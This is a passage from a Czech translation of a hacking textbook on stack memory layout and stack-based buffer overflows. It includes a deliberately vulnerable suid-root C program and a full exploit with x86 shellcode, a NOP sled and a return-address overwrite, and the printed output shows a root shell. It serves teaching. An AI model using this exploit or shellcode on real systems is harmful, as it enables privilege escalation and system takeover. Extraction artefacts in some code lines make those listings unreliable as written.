buffer
flag
stack frame pointer (SFP)
návratová adresa (ret)
a
b
c
d
ukazatel na rámec
Hacking: umění exploitace 31
Toto tedy je rámec zásobníku. Na lokální proměnné se odkazuje odečítáním
z ukazatele na rámec (registr EBP) a na argumenty funkce přičítáním.
Když se zavolá funkce, EIP se změní na adresu začátku funkce v segmentu
text (nebo code). Paměť na zásobníku se použije pro lokální proměnné
funkce a její argumenty. Když se funkce ukončí, celý rámec zásobníku se ze
zásobníku odstraní a EIP se nastaví na uloženou návratovou adresu, takže
program může dále pokračovat ve vykonávání. Jestliže by se z dané funkce
zavolala jiná funkce, vytvořil by se pro ni v zásobníku další rámec a tak
dále. Při každém ukončení funkce se rámec zásobníku odstraní a tak se
může vykonávání kódu vrátit na předešlou funkci. Kvůli tomuto chování je
tento segment paměti organizován jako FILO.
Rozličné segmenty paměti jsou za sebou poskládány v pořadí, v jakém
byly uvedeny, od nižších adres do vyšších. Protože většinou jsme zvyklí
prohlížet si seznamy ze shora dolů, jsou nižší adresy uvedeny nahoře.
textový (kódový) segment
datový segment
bss segment
heap segment
halda (heap) roste
směrem dolů
k vyšším
paměťovým adresám
zásobník roste směrem
nahoru k nižším
paměťovým adresám
nižší adresy
vyšší adresy
Protože jsou segmenty heap a stack dynamické, rostou oba proti sobě. To
minimalizuje plýtvání místem a možnost, že by se tyto segmenty střetly.
0x260 Přetečení paměti
C je vysokoúrovňový jazyk, který ale stále ponechává odpovědnost za datovou
integritu na programátorovi. Kdyby se o ni staral kompilátor, výsledné
binární kódy by byly znatelně větší a pomalejší, protože by se musela
kontrolovat konzistentnost každé proměnné. To by také pro programátora
znamenalo ztrátu kontroly nad kódem a značnou komplikaci jazyka.
32 0x200 Programování
Zatímco jednoduchost Céčka zvyšuje kontrolu a efektivnost výsledného
kódu, také zvyšuje náchylnost na přetečení paměti a také na plýtvání
pamětí, pokud není programátor pečlivý. To znamená, že jakmile je proměnná
alokovaná v paměti, neexistují žádné zabudované bezpečnostní
mechanismy, které by zajistily, že se celý obsah opravdu do proměnné vejde.
Jestliže chce programátor vložit deset bajtů dat do bufferu, který má
alokovaných pouze devět bajtů, je tento typ akce povolen, ačkoliv to může
vyvolat pád programu. Této chybě se říká buffer overrun nebo overflow (neboli
přetečení paměti), protože dva bajty na víc přetečou přes konec paměti
a přepíšou její konec, ať už je na něm cokoliv. Pokud jsou přepsána kriticky
důležitá data, program spadne, viz následující příklad.
Výpis: over f low.c
void overflow_function (char *strvoid str)
{
char buffer[20];
strcpy(buffer, str); // Funkce zkopíruje str do buffer
}
int main()
{
char big_string[128];
int i;
for(i=0; i < 128; i++) // 128 opakování
{
big_string[i] = 'A'; // vyplň big_string znaky 'A'
}
overflow_function(big_string);
exit(0);
}
V předešlém kódu je funkce nazvaná overflow_function(), která jako
vstup bere ukazatel na řetězec str a poté celý řetězec zkopíruje do proměnné
buffer, která má alokovaných 20 bajtů. Hlavní funkce programu
alokuje 128bajtový buffer big_string a použije cyklus for na vyplnění
bufferu samými A. Potom zavolá overflow_function() s ukazatelem na
onen 128bajtový buffer jako argument funkce.
To způsobí problém, protože se funkce pokusí umístit do bufferu 128
bajtů, i když jich má alokovaných jen 20. Zbývajících 108 bajtů dat přepíše
data za koncem proměnné.
Hacking: umění exploitace 33
Tady jsou výsledky:
$ gcc -o overflow overflow.c
$ ./overflow
Segmentation fault
$
Z důvodu přetečení paměti program zhavaroval. Pro programátora jsou
tyto typy chyb časté a lze je jednoduše odstranit, pokud programátor ví,
jak velký bude očekávaný vstup. Programátoři často spoléhají na to, že
uživatelský vstup bude mít určitou velikost a berou to jako pravidlo. Ale
ještě jednou, hacking v sobě zahrnuje přemýšlení o věcech, které nebyly
původně zamýšleny program, který léta fungoval bez problému může
spadnout, pokud se hacker pokusí poslat tisíce znaků na vstup, kam jich
obyčejně uživatelé zadávají jen pár desítek, jako třeba políčko pro zadání
uživatelského jména.
Takže chytří hackeři mohou způsobit pád programu zasláním nepředvídaných
dat na jeho vstup, ale jak se dá chyba zneužít pro získání kontroly
nad vykonáváním programu? Odpověď můžeme získat prozkoumáním dat,
která byla přepsána.
0x270 Přetečení zásobníku
Vraťme se ještě k poslednímu příkladu. Když se zavolá funkce overflow_
function(), vytvoří se na stacku rámec zásobníku. Když je funkce poprvé
zavolána, rámec zásobníku vypadá zhruba takto:
buffer
stack frame pointer (sfp)
návratová adresa (ret)
*str (argument funkce)
zbytek zásobníku
Když se funkce pokusí zapsat 128 bajtů dat do 20bajtového bufferu, zbývajících
108 bajtů přepíše ukazatel na rámec, návratovou adresu a argument
str. Když funkce skončí, program se pokusí skočit na návratovou
adresu, která je nyní vyplněna samými A, což je hexadecimálně 0x41. Program
se pokusí vrátit na adresu 0x41414141 (tedy nastavit EIP na tuto hod34
0x200 Programování
notu), což je neplatná adresa v paměťovém prostoru nebo tato část paměti
obsahuje neplatné instrukce, v každém případě způsobí pád a ukončení
programu. Tomuto se říká přetečení zásobníku ( stack-based overflow), protože
přetečení nastane v paměťovém segmentu stack.
Přetečení mohou nastat i v jiných segmentech paměti, jako je třeba halda
nebo segment bss, ale to, co je na přetečení zásobníku nejzajímavější,
je fakt, že se přepisuje návratová adresa. Na program padajícímu kvůli této
chybě není nic tak zajímavého, ale na důvodu proč ve skutečnosti padá už
ano. Kdyby byla návratová hodnota řízeně přepsána jinou hodnotou než je
0x41414141, jako třeba adresou platného spustitelného kódu v paměti, tak
by se tam program "vrátil" a tento kód by spustil místo toho, aby se zhroutil.
A pokud jsou data, která přetečou přes návratovou adresu, založena na
uživatelském vstupu, jako je třeba hodnota zadaná do políčka pro uživatelské
jméno, návratová adresa a tím i následující tok vykonávání programu
může být řízen uživatelem.
Protože je možné změnit návratovou adresu a tok vykonávání zneužitím
přetečení bufferu, vše, co nyní potřebujeme, je něco užitečného spustit.
Zde vstupuje na scénu infekce kódu ( bytecode infection). Tím je chytře navržený
kus assemblerovského kódu, který může být vložen do bufferu. Takový
kód má několik omezení: kód musí být samostatný a nesmí obsahovat
speciální znaky v instrukcích, protože by měl vypadat jako data v bufferu.
Jedním z nejpoužívanějších typu kódu je tzv. shellkód ( shellcode), který
spouští shell (příkazový interpret). Jestliže se útočníkovi povede obelstít
nějaký suid root program tak, aby spustil shellkód, získá tak plná rootovská
práva nad celým systémem. Zde je příklad:
Výpis: vuln.c
int main(int argc, char *argv[]int argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Toto je část zranitelného programu, podobná funkci overflow_function(),
neboť se také snaží zkopírovat blok dat, na který ukazuje argument, do 500
bajtů velkého bufferu, bez ohledu na to, co může argument obsahovat. Po
kompilaci a spuštění tohoto programu získáme celkem nezajímavé výsledky:
$ gcc -o vuln vuln.c
$ ./vuln test
Hacking: umění exploitace 35
Jak vidíte, program neudělá nic viditelného, kromě přepisu paměti. Teď
program uděláme opravdu zranitelný tím, že předáme vlastnictví rootovi
a nastavíme suid bit:
$ sudo chown root vul$ vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vuln
Nyní když je z vuln suid root program zranitelný na přetečení paměti, vše
co potřebujeme, je jen vygenerovat kus kódu, který bychom programu podvrhli.
Tento buffer by měl obsahovat požadovaný shellkód a měl by přepsat
návratovou adresu na stack tak, že se při skončení funkce spustí uvedený
shellkód. To znamená, že adresa shellkódu musí být předem známá, což
může být v dynamickém zásobníku poněkud složité. Aby to nebylo tak jednoduché,
4 bajty návratové adresy uložené v rámci zásobníku musí být
přepsány touto adresou. I když je známá adresa, ale není přepsaná správná
oblast, program spadne a ukončí se. Pro rozlousknutí toho oříšku se používají
dvě známé techniky.
První se říká NOP sled ( NOP je zkratka pro no operation). To je jednobajtová
instrukce, která nedělá vůbec nic. Občas se používá pro vyplýtvání
výpočetních cyklů pro časovací účely a jsou nezbytné v procesorech
Sparc kvůli pipeliningu instrukcí. V našem případě nám tato instrukce poslouží
jinak. Vytvoříme velké pole NOPů a umístíme jej před shellkódem,
Jestliže se EIP vrátí na nějakou adresu vně NOP sledu, EIP se bude neustále
inkrementovat o jedníčku, až nakonec vykoná shellkód.
Druhou technikou je zaplnění konce bufferu mnoha po sobě jdoucích
návratových adres.
Takto bude vypadat náš vytvořený buffer:
NOP sled Shellkód Opakovaná návratová adresa
U obou těchto technik je zapotřebí znát alespoň přibližné umístění bufferu
v paměti, abychom mohli uhodnout návratovou adresu. Jedna možnost,
jak aproximovat umístění v paměti, je použít aktuální ukazatel na zásobník
(registr ESP) jako vodítko. Odečtením tzv. offsetu ( posunutí v paměti) od
ESP získáme relativní adresu libovolné proměnné. Protože je ve zranitelném
programu prvním prvkem na zásobníku buffer, který se přepíše shellkódem,
správná návratová adresa by měla být pointer na zásobník, takže
offset by měl být blízko 0. NOP sled je užitečný při exploitování komplikovanějších
programů, když offset není 0. Následuje kód exploitu, navržený
tak, aby vytvořil buffer, vložil jej do zranitelného programu a donutil jej
spustit vložený shellkód. Kód nejprve vezme aktuální ukazatel na zásob36
0x200 Programování
ník a odečte od něj offset. V tomto případě je offset 0. Paměť pro buffer je
alokovaná (na haldě) a celý buffer je vyplněný NOPy (ve strojovém jazyce
má tato instrukce hodnotu 0x90). Shellkód je umístěný za NOPy a poslední
část bufferu je vyplněna návratovou hodnotou. Protože se konec znakového
bufferu označuje nulovým bajtem, je tento buffer také ukončený
znakem 0.
Výpis: exploi t .c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // krátka funkce k získáni
{ __asm__("movl %esp, %eax");} // ukazatele na zásobník
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // offset je 0
esp = sp(); // vložíme ukazatel na zásobník do esp
ret = esp - offset; // přepíšeme návratovou adresu
printf(" Ukazatel na zásobník (ESP) : 0x%x\n", esp);
printf(" Offset z ESP : 0x%x\n", offset);
printf("Požadovaná návratová adresa : 0x%x\n", ret);
// Alokuj 600 bajtů pro buffer (na haldě)
buffer = malloc(600);
// Vyplň celý buffer požadovanou návratovou adresou
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
Hacking: umění exploitace 37
// Vyplň prvních 200 bajtů bufferu instrukcemi NO// NOP
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Vlož shellkód za NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
// Ukonči řetězec
buffer[600-1] = 0;
// Nyní zavolej program ./vuln s novým bufferem jako jeho argumentem
execl("./vuln", "vuln", buffer, 0);
// Uvolni paměť
free(buffer);
return 0;
}
Tady jsou výsledky kompilace a spuštění exploitu:
$ gcc -o exploit exploit.c
$ ./exploit
Ukazatel na zásobník (ESP) : 0xbffff978
Offset z ESP : 0x0
Požadovaná návratová adresa : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#
Podle všeho to funguje. Návratová adresa v rámci zásobníku byla přepsaná
hodnotou 0xbffff978, což se zdá být adresou NOP sledu a shellkódu.
Protože se jednalo o suid root program a shellkód byl navržen tak, aby (jak
už z názvu napovídá) útočníkovi spustil shell, zranitelný program spustil
shellkód jako root, ačkoliv měl původní program pouze zkopírovat data
a ukončit se.